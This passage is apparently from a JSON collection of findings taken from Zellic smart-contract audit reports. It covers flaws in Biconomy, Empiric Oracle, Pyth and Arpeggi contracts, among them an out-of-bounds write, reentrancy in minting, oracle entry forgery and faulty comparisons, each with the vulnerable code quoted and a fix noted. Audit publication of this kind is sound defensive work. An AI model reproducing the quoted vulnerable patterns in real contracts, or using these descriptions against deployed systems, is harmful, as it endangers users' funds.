control \u2013 Authorization: None \u2013 : Amount of asset to invest maxAsset \u2013 Control: Full control \u2013 Authorization: None \u2013 : Slippage check Function call analysis _checkRole \u2013 What is controllable?: Control the address, but nothing else \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Means that the address was not approved \u2013 If return value is controllable, how is it used and how can it go wrong: Discarded vault.withdraw \u2013 What is controllable?: assets, receiver, owner \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Ok \u2013 If return value is controllable, how is it used and how can it go wrong: Discarded Function: redeem (strategist) Intended behavior Redeem capital from invested vault. Preconditions msg.sender has to be a strategist. Zellic Spice Finance Inc. Inputs vault \u2013 Control: Full control \u2013 Authorization: Checks if the vault is approved, through VAULT_ROLE \u2013 : Vault to invest in assets \u2013 Control: Full control \u2013 Authorization: None \u2013 : Amount of asset to invest minAssets \u2013 Control: Full control \u2013 Authorization: None \u2013 : Slippage check Function call analysis _checkRole \u2013 What is controllable?: Control the address, but nothing else \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Means that the address was not approved \u2013 If return value is controllable, how is it used and how can it go wrong: Discarded vault.redeem \u2013 What is controllable?: assets, receiver, owner \u2013 What happens if it reverts, reenters, or does other unusual control flow?: Ok \u2013 If return value is controllable, how is it used and how can it go wrong: Discarded Zellic Spice Finance Inc. 5 Audit Results At the time of our audit, the code was not deployed to mainnet Ethereum. During our assessment on the scoped SpiceFiNFT4626 contracts, we discovered one issue of medium impact. Spice Finance Inc. acknowledged all findings and imple- mented fixes.", + "html_url": "https://github.com/Zellic/publications/blob/master/SpiceFiNFT4626 - Zellic Audit Report.pdf" + }, + { + "title": "4.1 Module: ModuleManager.sol Function: execTransactionFromModule(address to, uint256 value, byte[] d ata, Enum.Operation operation, uint256 txGas) Available only for enabled modules. Allows a trusted module to perform execute transaction directly. Branches and code coverage (including function calls) Negative behavior", + "labels": [ + "Zellic" + ], + "body": "The caller is not a trusted module. \u25a1 Negative test The caller is the disabled module. \u25a1 Negative test Function call analysis execute(to, value, data,operation,txGas =) 0 ? gasleft() : txGas); -> del egatecall(txGas,to,add(data, 0x20),mload(data),0,0) \u2013 External/Internal? External. \u2013 Argument control? txGas, to, and data. \u2013 : Perform delegatecall of to address. execute(to, value, data,operation,txGas =) 0 ? gasleft() : txGas); -> cal l(txGas,to,value,add(data, 0x20),mload(data),0,0) \u2013 External/Internal? External. \u2013 Argument control? txGas, to, data, and value. \u2013 : Perform call of to address. Zellic Biconomy Labs Function: execTransactionFromModule(address to, uint256 value, byte[] d ata, Enum.Operation operation) The same as execTransactionFromModule(address to, uint256 value, bytes memory data, Enum.Operation operation, uint256 txGas), but additional txGas is zero.", + "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy Smart Account - Zellic Audit Report.pdf" + }, + { + "title": "4.2 Module: SmartAccountFactory.sol Function: deployCounterFactualAccount(address moduleSetupContract, byte [] moduleSetupData, uint256 index) Allows any users to deploy smart account contracts. Inputs", + "labels": [ + "Zellic" + ], + "body": "moduleSetupContract \u2013 Control: Full control. \u2013 Constraints: No restrictions. \u2013 : The address of the module that will be enabled and set up during the init() function call. moduleSetupData \u2013 Control: Full control. \u2013 Constraints: No. \u2013 : Contain function signature and data for module call. index \u2013 Control: Full control. \u2013 Constraints: If the contract with the index was already deployed, the trans- action will be reverted. \u2013 : Extra salt. Branches and code coverage (including function calls) Intended branches New smart account contract was initialized properly. \u25a1 Test coverage Negative behavior Revert if index was already used by the same EOA. \u25a1 Negative test Zellic Biconomy Labs Function call analysis proxy.init(address(minimalHandler), moduleSetupContract, moduleSetupData) \u2013 External/Internal? External. \u2013 Argument control? moduleSetupContract and moduleSetupData. \u2013 : Initialize new smart account contract with required state. moduleSetupContract.call(...)),moduleSetupData, ...))) \u2013 External/Internal? External. \u2013 Argument control? moduleSetupContract and moduleSetupData. \u2013 : Call moduleSetupContract over the low-level call for the initializa- tion of the module, for example, the installation of the owner address of this smart account.", + "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy Smart Account - Zellic Audit Report.pdf" + }, + { + "title": "4.3 Module: SmartAccount.sol Function: addDeposit() Available for anyone. Transfer native tokens provided by caller to the EntryPoint con- tracts. Function: disableModule(address prevModule, address module) Function available only for EntryPoint or self-call. Allows to disable the module ad- dress, and it cannot be used any more for validation. Function: enableModule(address module) Function available only for EntryPoint or self-call. Allows caller to enable the new address of the module. Inputs", + "labels": [ + "Zellic" + ], + "body": "module \u2013 Control: Full control. \u2013 Constraints: No. \u2013 : The address of the module used to verify user operation. Branches and code coverage (including function calls) Intended branches New module was enabled. Zellic Biconomy Labs \u25a1 Test coverage Negative behavior The caller is not entry point or this contract. \u25a1 Negative test Function call analysis _enableModule(module) \u2013 External/Internal? Internal. \u2013 Argument control? module. \u2013 : Add module address to the modules to enable. Function: executeCall(address dest, uint256 value, byte[] func) Function just calls executeCall_s1m, which is available only for EntryPoint and that is it. See executeCall_s1m description. Function: executeCall_s1m(address dest, uint256 value, byte[] func) Function available only for EntryPoint. Allows EntryPoint to perform the transaction. Inputs dest \u2013 Control: Full control. \u2013 Constraints: No. \u2013 : The arbitrary contract that will be called. value \u2013 Control: Full control. \u2013 Constraints: No. \u2013 : Amount of native tokens will be transferred. func \u2013 Control: Full control. \u2013 Constraints: No. \u2013 : The transaction data. Contains the function that will be called. Branches and code coverage (including function calls) Negative behavior msg.sender is not EntryPoint or this contract. Zellic Biconomy Labs \u25a1 Negative test Function call analysis _call(dest, value, func) -> call( ...)), target, value, add(data, 0x20), ml oad(data), ...))) \u2013 External/Internal? External. \u2013 Argument control? target, value, and data. \u2013 : Arbitrary external call. Function: init(address handler, address moduleSetupContract, byte[] mod uleSetupData) The function is called only once during deployment from proxy contract. Allows to set up and enable the module provided by call of deployCounterFactualAccount or deployAccount of the SmartAccountFactory contract. Inputs handler \u2013 Control: Full control. \u2013 Constraints: Cannot be zero address. \u2013 : The address of the contract handling the fallback calls. moduleSetupContract \u2013 Control: Full control. \u2013 Constraints: No. \u2013 : The address of module. moduleSetupData \u2013 Control: Full control. \u2013 Constraints: No. \u2013 : The calldata for moduleSetupContract. Branches and code coverage (including function calls) Negative behavior Cannot be called twice. \u25a1 Negative test Function call analysis _initialSetupModules -> call(...)), moduleSetupContract, ...)), moduleSetupDa Zellic Biconomy Labs ta) \u2013 External/Internal? External. \u2013 Argument control? moduleSetupContract, moduleSetupData \u2013 : Calling the arbitrary moduleSetupContract contract, which should be trusted by the caller. Function: setupAndEnableModule(address setupContract, byte[] setupData) Function available only for EntryPoint or self-call. Allows caller to enable the new address of the module and call it for configuration when this is the first enabling. Inputs setupContract \u2013 Control: Full control. \u2013 Constraints: No. \u2013 : The address of the module used to verify user operation. setupData \u2013 Control: Full control. \u2013 Constraints: No. \u2013 : Data used to configure the module. Branches and code coverage (including function calls) Intended branches New module was enabled. \u25a1 Test coverage Negative behavior The caller is not entry point or this contract. \u25a1 Negative test Function call analysis _setupAndEnableModule(setupContract, setupData) -> call( ...)), setupContra ct, ...)), add(setupData, 0x20), mload(setupData), ...))) \u2013 External/Internal? External. \u2013 Argument control? setupContract and setupData. \u2013 : Calls setupContract to configure before use. Zellic Biconomy Labs Function: updateImplementation(address _implementation) Function available only for EntryPoint or self-call. Allows to update the address of the implementation that is used by proxy contract. Inputs _implementation \u2013 Control: Full control. \u2013 Constraints: _implementation !) address(0). \u2013 : The address of the contract that will be used as smart account implementation over delegatecall by proxy contract. Branches and code coverage (including function calls) Intended branches The implementation was updated properly. \u25a1 Test coverage Negative behavior _implementation =) address(0). \u25a1 Negative test Caller is not entry point and self-call. \u25a1 Negative test _implementation is EOA. \u25a1 Negative test Function: validateUserOp(UserOperation userOp, byte[32] userOpHash, uin t256 missingAccountFunds) Function available only for EntryPoint. The function is called from the EntryPoint.hand leOps function, which can be called by any caller that should have valid user operation data. The function will revert if the module is untrusted \u2014 otherwise 0 if signature is valid or 1 if invalid. Branches and code coverage (including function calls) Negative behavior Caller is not EntryPoint contract. \u25a1 Negative test validationModule is not the enabled module. Zellic Biconomy Labs \u25a1 Negative test User operation is invalid. \u25a1 Negative test Function call analysis IAuthorizationModule(validationModule).validateUserOp(userOp, userOpHash) \u2013 External/Internal? External. \u2013 Argument control? validationModule, userOp, and userOpHash. \u2013 : If signature is valid, 0, or 1 if invalid. Can revert if signature has incorrect length or userOp.sender is zero address. Function: withdrawDepositTo(address payable withdrawAddress, uint256 am ount) Function available only for EntryPoint or self-call. Withdraw funds from the EntryPoint contract. Inputs withdrawAddress \u2013 Control: Full control. \u2013 Constraints: No. \u2013 : The received withdrawn funds. amount \u2013 Control: Full control. \u2013 Constraints: No. \u2013 : Amount to be withdrawn. Branches and code coverage (including function calls) Intended branches withdrawAddress received the funds. \u25a1 Test coverage Negative behavior The caller is not entry point or this contract. \u25a1 Negative test Zellic Biconomy Labs Function call analysis EntryPoint.withdrawTo(withdrawAddress, amount) \u2013 External/Internal? External. \u2013 Argument control? withdrawAddress and amount. \u2013 : Transfer deposited funds from EntryPoint to withdrawAddress. Zellic Biconomy Labs 5 Audit Results At the time of our audit, the audited code was not deployed to the Ethereum Mainnet. During our assessment on the scoped Biconomy Smart Account contracts, we discov- ered one finding, which was informational in nature. Biconomy Labs acknowledged the finding and implemented a fix.", + "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy Smart Account - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Key used in oracle entry storage is forgable by trusted pub- lisher", + "labels": [ + "Zellic" + ], + "body": "Target: oracle/library.cairo Category: Coding Mistakes Likelihood: Low Severity: High : High The oracle/library.cairo code is responsible for much of the core implementation of the oracle itself. The oracle uses \u201centries\u201d to record the current value for a given asset pair or other kinds of tracked elements. The oracle code defines a \u201cpublish entry\u201d external function that allows callers to submit an entry to be recorded. The main authorization check is done by checking that the caller\u2019s address is equal to the expected publisher address. The expected publisher address is reported by the publisher registry contract. This check ensures that this transaction can only be performed by a preconfigured publisher. While this check ensures that the caller is, indeed, a preconfigured publisher, it does not key the entry by this caller address. Entries define multiple relevant properties. Namely, entries define a timestamp, the value, a pair id, a source, and a publisher. struct Entry: member pair_id : felt member value : felt member timestamp : felt member source : felt member publisher : felt end The pair id represents a string of the pair of assets this entry tracks. For example, this could be the felt value that represents the string \u201ceth/usd\u201d. The other interesting property is the source. The source and the publisher are not necessarily the same. The publisher attests to the value of data from a particular source. Therefore, an entry submitted by a publisher could contain any source string desired. Entries are stored in a map called Oracle_entry_storage, which is keyed by two values: Zellic Empiric Network the entry\u2019s pair id and the entry\u2019s source. Because entry sources can be any value decided by the publisher and entries are not keyed by their publisher, rogue publishers can overwrite the values set by other publishers. Approved publishers that have turned rogue can set entries for arbitrary sources and key ids even if those sources are the responsibility of other publishers. Considering either keying on publisher address or tracking which sources a particular publisher is allowed to publish. This will require an additional check that the specified source is allowed to be published by the calling publisher. The issue was addressed in a later update. Zellic Empiric Network", + "html_url": "https://github.com/Zellic/publications/blob/master/Empiric Oracle - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Publish entry does not validate caller address is not 0", + "labels": [ + "Zellic" + ], + "body": "Target: oracle/library.cairo Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational When contracts in Starknet are directly invoked, the get_caller_address function can return 0. This is a relatively common error or default pattern in Starknet and Cairo, but it can cause security issues when this behavior is unexpected, like in the case of get_caller_address. In the publish entry code of the oracle/library.cairo file, the caller address is checked against the publisher address. The publisher address is retrieved by calling into the publisher registry contract and fetching the address of the publisher with a given felt- converted string name. If the publisher specified by this string does not exist, the publisher registry will actually return 0 instead of throwing an error. func Publisher_get_publisher_address{ syscall_ptr : felt*, pedersen_ptr : HashBuiltin*, range_check_ptr }(publisher : felt) -> (publisher_address : felt): let (publisher_address) = Publisher_publisher_address_storage.read( publisher) return (publisher_address) end This is because a read with a key that does not exist will return 0 values instead of throwing an error. Because no check is performed in the publisher registry that val- idates that non-zero values for publisher addresses will be returned, this allows the oracle code to check a 0 publisher address against a potentially 0 caller address, which can occur if the contract is invoked directly with -)no_wallet. As of Starknet 0.10.0 this will not be an issue, but it is recommended to validate that the publisher registry get publisher address method does not return 0 values and/or the oracle validates the caller is not 0. If allowed, for example\u2014a pre-0.10.0 Starknet environment would allow a caller to impersonate a publisher as long as the publisher does not exist in the publisher reg- istry. In combination with a previous finding, this would allow an attacker to publish Zellic Empiric Network arbitrary entries even if they were not previously added to the registry. Validate, in either the publisher registry, that the returned publisher address is non- zero or that the caller address is not zero. The issue was addressed in a later update. Zellic Empiric Network", + "html_url": "https://github.com/Zellic/publications/blob/master/Empiric Oracle - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Mathematical expressions could produce incorrect values", + "labels": [ + "Zellic" + ], + "body": "Target: oracle/library.cairo Category: Coding Mistakes Likelihood: Low Severity: Medium : High It was observed in the yield curve cairo code that in calculate_future_spot_yield_ point some multiplication occurs with numbers that have not been given an upper bound. While integer overflow conditions are not strictly limited to multiplication, this is where we\u2019re most likely to find valid conditions for overflow behavior. In calculate_future_spot_yield_point, a call is made to starkware.cairo.common.pow where the exponent is output_decimals + spot_decimals - future_decimals. Based on how this function is called, future_decimals can, at least, be 1. No reasonable upper bound exists for the exponent and pow, internally, performs unchecked multiplication. This means that the following expressions # Shift future/spot to the left by output_decimals + spot_decimals \u2212 future_decimals let (ratio_multiplier) = pow(10, output_decimals + spot_decimals \u2212 future_decimals) let (shifted_ratio, _) = unsigned_div_rem( future_entry.value * ratio_multiplier, spot_entry.value ) can result in integer overflow when performing the pow operation as the exponent cap is 2^251. Note that this is not 251, but 2 raised to the 251. This will easily overflow the ratio_multiplier, causing the ratio to be an unexpected value. Mathematical expressions can miscalculate, causing incorrect spot pricing. Assert that the exponent passed to pow is less than some amount. Additional, pro- vide additional assertions around entry valuation to ensure the provided number is reasonable and not at the limits of what a felt can support. Zellic Empiric Network The issue was addressed in a later update. Zellic Empiric Network", + "html_url": "https://github.com/Zellic/publications/blob/master/Empiric Oracle - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Faulty implementation of comparison function", + "labels": [ + "Zellic" + ], + "body": "Target: lib/time_series/utils.cairo Category: Coding Mistakes Likelihood: Low Severity: Medium : Medium The are_equal function in time_series.utils incorrectly assumes that the is_nn func- tion checks if the argument is negative. According to the documentation, however, this function checks if the argument is non-negative. This leads to an incorrect imple- mentation, causing the are_equal function to return bogus values. func are_equal{range_check_ptr}(num1: felt, num2: felt) -> (_are_equal: Bool) { alloc_locals; let is_neg1 = is_nn(num1 \u2212 num2); let is_neg2 = is_nn(num2 \u2212 num1); let _are_equal = is_nn(is_neg1 + is_neg2 \u2212 1); return (_are_equal,); } As an example, the are_equal function will have the following trace when run with arguments (3, 4), wrongly returning that the numbers are equal: is_neg1 = is_nn(3 \u2212 4) => is_nn(-1) => 0; is_neg2 = is_nn(4 \u2212 3) => is_nn(1) => 1 _are_equal = is_nn(0 + 1 \u2212 1) => is_nn(0) => 1 The faulty are_equal function is used as a helper function by other statistical calcula- tion functions under time_series/, which could lead to incorrect results. Rewrite the code according to the correct specification of the is_nn function: It returns 1 when the argument is non-negative. Write more unit tests for individual library functions to catch any incorrect implemen- tations and edge cases that might not show up in an integration test. Zellic Empiric Network The issue was addressed in a later update. Zellic Empiric Network", + "html_url": "https://github.com/Zellic/publications/blob/master/Empiric Oracle - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Incorrect use of library comparison function", + "labels": [ + "Zellic" + ], + "body": "Target: computeengines/rebasedenomination/RebaseDenomination.cairo Category: Coding Mistakes Likelihood: Low Severity: Low : Low The _decimal_div function uses the is_le function to compare the number of decimals between the numerator and the denominator. The specification of the is_le function states that it returns 1 when the first argument is less than or equal to the second argument: /) Returns 1 if a <) b (or more precisely 0 <) b - a < RANGE_CHECK_BOUND). /) Returns 0 otherwise. @known_ap_change func is_le{range_check_ptr}(a, b) -> felt { return is_nn(b \u2212 a); } The implementation of _decimal_div assumes otherwise. The is_le function will re- turn TRUE if b_decimals <) a_decimals or a_decimals >) b_decimals. This is different from the code below, which assumes that the two numbers can only be equal in the else branch. let b_fewer_dec = is_le(b_decimals, a_decimals); if (b_fewer_dec =) TRUE) { /) x > y a_to_shift = a_value; result_decimals = a_decimals; tempvar range_check_ptr = range_check_ptr; } else { /) x <) y As a result, the case when the two numbers are equal is handled by the first if branch instead of the else branch as expected by the code. The correctness of the _decimal_div function is not affected by the incorrect usage of the is_le function as the code for handling the first if branch and the equality leads to Zellic Empiric Network the same outcome. However, this same mistake may show up in other places, and such assumptions should be carefully verified before using them in code. Rearrange the if conditions so that the case of equality is handled by the if branch rather than the else branch. The issue was addressed in a later update. Zellic Empiric Network", + "html_url": "https://github.com/Zellic/publications/blob/master/Empiric Oracle - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Out-of-bounds write in update test instruction", + "labels": [ + "Zellic" + ], + "body": "Target: oracle.c:upd_test Severity: High : High Category: Coding Mistakes Likelihood: High Pyth exposes two instructions associated with test price accounts - one to initialize them, and another to update the account\u2019s pricing information. The update instruction sets pricing, status, and confidence intervals for the test account\u2019s price components using a loop that copies over values from the instruction data to the account. This loop iterates a number of times as specified by the caller, incrementing a variable used to index into the price components. for( uint32_t i=0; i !) cmd\u2212>num_; +)i ) { pc_price_comp_t *ptr = &px->comp_[i]; ptr->latest_.status_ = PC_STATUS_TRADING; ptr->latest_.price_ = cmd->price_[i]; ptr->latest_.conf_ = cmd->conf_[i]; ptr->latest_.pub_slot_ = slot + (uint64_t)cmd->slot_diff_[i]; } upd_aggregate( px, slot+1 ); The supplied number of iterations this loop should run is not bound in any way. This allows a caller to index past the end of the array, which has a fixed size of 32, and can allow an attacker to manipulate memory outside of the pricing components. Memory corruption is a critical violation of program integrity and safety guarantees. The ability to write out-of-bounds can violate the integrity of data structures and in- variants in the contract. Thankfully, this instruction validates that only two accounts can be supplied in invocation which does help reduce the impact, but this behavior is still dangerous and may result in an attack that could result in price manipulation. The num_ variable is also referenced in upd_aggregate, which eventually leads an out- Zellic Pyth Data Association of-bound stack write that can be potentially leveraged to redirect control flow. The upd_test instruction should validate that cmd->num_ is equal to or less than PC_COMP_SIZE. This will preventing the out-of-bound indexing and write behavior. The finding has been acknowledged by Pyth Data Association. Their official response is reproduced below: Pyth Data Association acknowledges the finding and a security fix for this issue will be deployed on or before April 18th. Zellic Pyth Data Association", + "html_url": "https://github.com/Zellic/publications/blob/master/Pyth Oracle Client - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Lack of rent exemption enforcement", + "labels": [ + "Zellic" + ], + "body": "Target: oracle.c Severity: High : High Category: Business Logic Likelihood: Low To support the validators that maintain account state, Solana imposes rent on ac- counts. Every so often, if an account does not have more than the minimum required lamports to qualify as \u201crent exempt\u201d, an amount of lamports are collected as rent. If an account\u2019s balance hits 0, the data for the account is forgotten, effectively resetting the account. Thus, it is possible to reinitialize accounts which have run out of lamports. Pyth uses accounts created and supplied by the caller to store data. Pyth does not re- quire that these accounts maintain a balance large enough to qualify as \u201crent exempt\u201d. This means that a caller can supply an account with too few lamports, initialize it as a particular account type, and, after rent has drained the account, use the account as if it were brand new. This type of confusion can be found everywhere in the code as rent is not enforced for any accounts supplied by the user. The lack of rent exemption checks can result in invariants in the code breaking which can impact clients interacting with the state of these accounts or the contract itself. For example, product accounts can only be placed into a map if they haven\u2019t been initialized yet. This step, using the add_product instruction, requires the product ac- count to be initialized but the data field empty. This should only be true if the product account has never been used before, but because this account can be wiped out due to rent we can actually add this product account to multiple maps resulting in the product\u2019s prod_ field pointing to an incorrect map. Pyth should either: 1. Use Program Derived Accounts (PDA) to manage state and delegate signing au- thority in a way similar to Solana\u2019s Token accounts (with an owner or authority field on the PDA). These accounts should be created with a minimum \u201crent ex- empt\u201d qualifying balance. Zellic Pyth Data Association 2. Require all accounts supplied by the user to be rent exempt. It should be suffi- cient to update both valid_signable_account and valid_writable_account with this check to get the desired mitigation in place. The finding has been acknowledged by Pyth Data Association. Their official response is reproduced below: Pyth Data Association acknowledges the finding and a security fix for this issue will be deployed on or before April 18th. Zellic Pyth Data Association", + "html_url": "https://github.com/Zellic/publications/blob/master/Pyth Oracle Client - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Inefficient publisher deletion algorithm results in excessive costs", + "labels": [ + "Zellic" + ], + "body": "Target: oracle.c:del_publisher Severity: Low : Low Category: Optimization Likelihood: High The del_publisher instruction allows a caller to remove a publisher from a price ac- count. To do this, the instruction first loops through the publishers on the price ac- count\u2019s comp_ array. After identifying the index of comp_ with the publisher account, an inner loop runs which shifts all of the accounts down. static uint64_t del_publisher( SolParameters *prm, SolAccountInfo *ka ) { ...)) /) try to remove publisher for(uint32_t i=0; i !) sptr\u2212>num_; +)i ) { pc_price_comp_t *iptr = &sptr->comp_[i]; if ( pc_pub_key_equal( &iptr\u2212>pub_, &cptr\u2212>pub_ ) ) { for( unsigned j=i+1; j !) sptr\u2212>num_; +)j ) { pc_price_comp_t *jptr = &sptr->comp_[j]; iptr[0] = jptr[0]; iptr = jptr; } --sptr->num_; sol_memset( iptr, 0, sizeof( pc_price_comp_t ) ); /) update size of account sptr->size_ = sizeof( pc_price_t ) - sizeof( sptr\u2212>comp_ ) + sptr->num_ * sizeof( pc_price_comp_t ); return SUCCESS; } } } This is an inefficient way to remove the publisher account from the price account. Zellic Pyth Data Association This can result in excessive fees for removing a publisher than would otherwise be necessary. It also increases code complexity, which may leads to bugs in the future. A more efficient solution would be to replace the publisher account with the last pub- lisher account and then clear out the final publisher entry. A reference implementation is supplied. for(uint32_t i = 0; i !) sptr\u2212>num_; +)i ) { pc_price_comp_t *iptr = &sptr->comp_[i]; /) identify the targeted publisher entry if ( pc_pub_key_equal( &iptr\u2212>pub_, &cptr\u2212>pub_ ) ) { /) select the last publisher entry pc_price_comp_t *substitute_ptr = &sptr->comp_[sptr->num_ - 1]; /) swap the current publisher entry with the last one - it's okay if this is the same entry iptr[0] = substitute_ptr[0]; /) clear out the last publisher sol_memset(substitute_ptr, 0, sizeof( pc_price_comp_t )); /) reduce the number of publishers by one --sptr->num_; /) recalculate size sptr->size_ = sizeof( pc_price_t ) - sizeof( sptr\u2212>comp_ ) + sptr->num_ * sizeof( pc_price_comp_t ); return SUCCESS; } } The finding has been acknowledged by Pyth Data Association. Their official response is reproduced below: Pyth Data Association acknowledges the finding, but doesn\u2019t believe it has secu- rity implications. However, we may deploy a bug fix to address it. Zellic Pyth Data Association", + "html_url": "https://github.com/Zellic/publications/blob/master/Pyth Oracle Client - Zellic Audit Report.pdf" + }, + { + "title": "8.02 for it (the ratio between buy and sell price is not quite 10 anymore, as user B buying at a viralit", + "labels": [ + "Zellic" + ], + "body": "8.02 for it (the ratio between buy and sell price is not quite 10 anymore, as user B buying at a virality", + "html_url": "https://github.com/Zellic/publications/blob/master/SAX - Zellic Audit Report.pdf" + }, + { + "title": "3.1 An attacker can break minting of ArpeggiSound and Arpeggi Song tokens", + "labels": [ + "Zellic" + ], + "body": "Target: ArpeggiSound, ArpeggiSong, AudioRegistryProtocol Severity: Critical Category: Business Logic : Critical Likelihood: High ArpeggiSound.mintSample, ArpeggiSound.mintStem and ArpeggiSong.mintSong are vul- nerable. We will use ArpeggiSong.mintSong as an example to demonstrate the issue, but every- thing below applies to ArpeggiSound.mintSample and ArpeggiSound.mintStem as well. When a new song NFT is minted, the following occurs. First, mintSong mints a new NFT by calling _safeMint. Second, mintSong creates an origin token[1]: AudioRegistryTypes.OriginToken memory originToken = AudioRegistryTypes. OriginToken({ tokenId: numSongs, chainId: block.chainid, contractAddress: address(this), originType: AudioRegistryTypes.OriginType.PRIMARY /) primary }); Third, mintSong passes the origin token to the AudioRegistryProtocol.registerMedia function. Fourth, registerMedia creates a new media ID and attempts to tie the newly minted NFT to it. If the newly minted NFT is already tied to a media ID, the attempt fails and the trans- action is reverted.[2] Anyone can register a new media ID and tie an unminted NFT to it, simply by calling 1 The origin token is simply a wrapper around the newly minted NFT. 2 Unless the caller of registerMedia can pass the checks in the enforceOnlyOverwriteAuthorized func- tion. The contract that issued the already tied NFT fails to pass the checks. Zellic Arpeggi Labs registerMedia with appropriate parameters. There are no checks that prevent that. Therefore, anyone can break minting by registering a new media ID and tying a next- to-be-minted unminted NFT to it. An attacker can break minting of ArpeggiSound and ArpeggiSong tokens. Consider disallowing the registration of unminted NFTs. We provided a proof-of-concept to Arpeggi Labs. This issue was fixed by Arpeggi Labs in commit cc29275. Zellic Arpeggi Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Arpeggi_Labs_-_Zellic_Audit_Report.pdf" + }, + { + "title": "3.2 Potentially unsafe reentrancy in the minting functions", + "labels": [ + "Zellic" + ], + "body": "Target: ArpeggiSong, ArpeggiSound Category: Business Logic Likelihood: High Severity: Medium : Medium Arpeggi Studio allows users to mint samples, stems and songs and use them in the digital audio workstation. Samples are the smallest \u201cunits\u201d of sound (think of a hand- clap sound effect in a song) in the Arpeggi ecosystem. A stem is a single track of a song. It is created by sequencing one or more samples into a pattern. A song is composed of multiple stems. When a user creates music in Arpeggi Studio and is ready to mint a song, the Arpeggi Studio webapp processes the music and mints to the contract via various functions: ArpeggiSound.mintSample ArpeggiSound.mintStem ArpeggiSong.mintSong There is a reentrancy issue in all of the 3 functions above. We will focus on ArpeggiSo und.mintSample for the rest of this example. Below is a code snippet from mintSample: function mintSample( uint version, address artistAddress, address tokenOwner, string calldata dataUri, string calldata metadataUri ) { external payable whenNotPaused returns (uint256) _numSounds++; uint numSounds = _numSounds; _safeMint(tokenOwner, numSounds); /) registration logic is below In mintSample, the state variable _numSounds is incremented each time before a new Zellic Arpeggi Labs ERC721 token is minted. After _numSounds is incremented, the token is minted through _safeMint and a call is made to AudioRegistryProtocol.registerMedia to register the token\u2019s metadata in the AudioRegistryProtocol contract. A reentrancy attack is potentially possible because the increment of _numSounds hap- pens without checking if _numSounds has already been minted. Furthermore, the call to _safeMint happens before any of the registration logic is executed. This reentrancy issue allows an arbitrary amount of tokens to be minted in a way that breaks the expected mediaId-to-tokenId metadata storage schema for sample, stem and song tokens. For example, using reentrancy to mint 10 tokens results in this: token.contractAddress = 0xcf7...)), mediaId = 1, token.tokenId = 10 token.contractAddress = 0xcf7...)), mediaId = 2, token.tokenId = 9 token.contractAddress = 0xcf7...)), mediaId = 3, token.tokenId = 8 token.contractAddress = 0xcf7...)), mediaId = 4, token.tokenId = 7 token.contractAddress = 0xcf7...)), mediaId = 5, token.tokenId = 6 token.contractAddress = 0xcf7...)), mediaId = 6, token.tokenId = 5 token.contractAddress = 0xcf7...)), mediaId = 7, token.tokenId = 4 token.contractAddress = 0xcf7...)), mediaId = 8, token.tokenId = 3 token.contractAddress = 0xcf7...)), mediaId = 9, token.tokenId = 2 token.contractAddress = 0xcf7...)), mediaId = 10, token.tokenId = 1 Here, the minted tokens have their mediaId and tokenId values out of sync. We recommend that Arpeggi follows the checks-effects-interactions pattern by mov- ing the increment of _numSounds and the call to _safeMint after the registration logic at the end of the function. This will ensure that _numSounds is accurate and that the associated metadata is correct if mintSample is reentered. In addition to this, Arpeggi can make use of OpenZeppelin\u2019s ReentrancyGuard contract to add a nonReentrant modifier to all of the minting functions. We provided a proof-of-concept to Arpeggi Labs. This issue was fixed by Arpeggi Labs in commit 52cef08. Zellic Arpeggi Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Arpeggi_Labs_-_Zellic_Audit_Report.pdf" + }, + { + "title": "3.3 Payable functions exist with no way to withdraw funds", + "labels": [ + "Zellic" + ], + "body": "Target: ArpeggiSong, ArpeggiSound Category: Business Logic Likelihood: High Severity: Medium : Medium The mint functions: mintSample, mintStem and mintSong are declared payable, but there is no function to withdraw funds. The Arpeggi team stated that users will not pay for minting, so we recommend re- moving the payable modifier from these functions. This issue was fixed by Arpeggi Labs in commit 996c882. Zellic Arpeggi Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Arpeggi_Labs_-_Zellic_Audit_Report.pdf" + }, + { + "title": "3.4 Origin token registration may result in a collision", + "labels": [ + "Zellic" + ], + "body": "Target: AudioRegistryProtocol Category: Business Logic Likelihood: n/a Severity: Medium : Medium If an origin token t1 is registered and there is an attempt to register another origin token t2, such that t1.contractAddress =) t2.contractAddress and t1.tokenId =) t2.toke nId, a collision happens: t1 gets overwritten by t2 (in case the caller of registerMedia passes the checks in enforceOnlyOverwriteAuthorized) or the entire transaction gets reverted (otherwise). It is impossible to register 2 or more origin tokens with identical contractAddresses and tokenIds, but different chainIds or originTypes. Consider replacing the _contractTokensToArpIndex mapping with an \u201corigin token\u201d- to-\u201cmedia ID\u201d mapping and reorganizing the code accordingly. This issue was fixed by Arpeggi Labs in commit bd3a6ec. Zellic Arpeggi Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Arpeggi_Labs_-_Zellic_Audit_Report.pdf" + }, + { + "title": "3.5 The access control list for the Arpeggi admin role cannot be changed", + "labels": [ + "Zellic" + ], + "body": "Target: ArpeggiSound, ArpeggiSong Category: Business Logic Likelihood: n/a Severity: Low : Low The ArpeggiSound and ArpeggiSong contracts do not set an admin role for ARPEGGI_AD MIN_ROLE. It is impossible to change the access control list for ARPEGGI_ADMIN_ROLE. Consider adding the following code to the constructors of ArpeggiSound and Arpeggi Song: _setRoleAdmin(Roles.ARPEGGI_ADMIN_ROLE, Roles.ARPEGGI_ADMIN_ROLE); This issue was fixed by Arpeggi Labs in commit 67f8be0. Zellic Arpeggi Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Arpeggi_Labs_-_Zellic_Audit_Report.pdf" + }, + { + "title": "3.6 The UPGRADER_ROLE role is defined, but never used", + "labels": [ + "Zellic" + ], + "body": "Target: AudioRegistryProtocol Category: Business Logic Likelihood: n/a Severity: Low : Low UPGRADER_ROLE is defined in 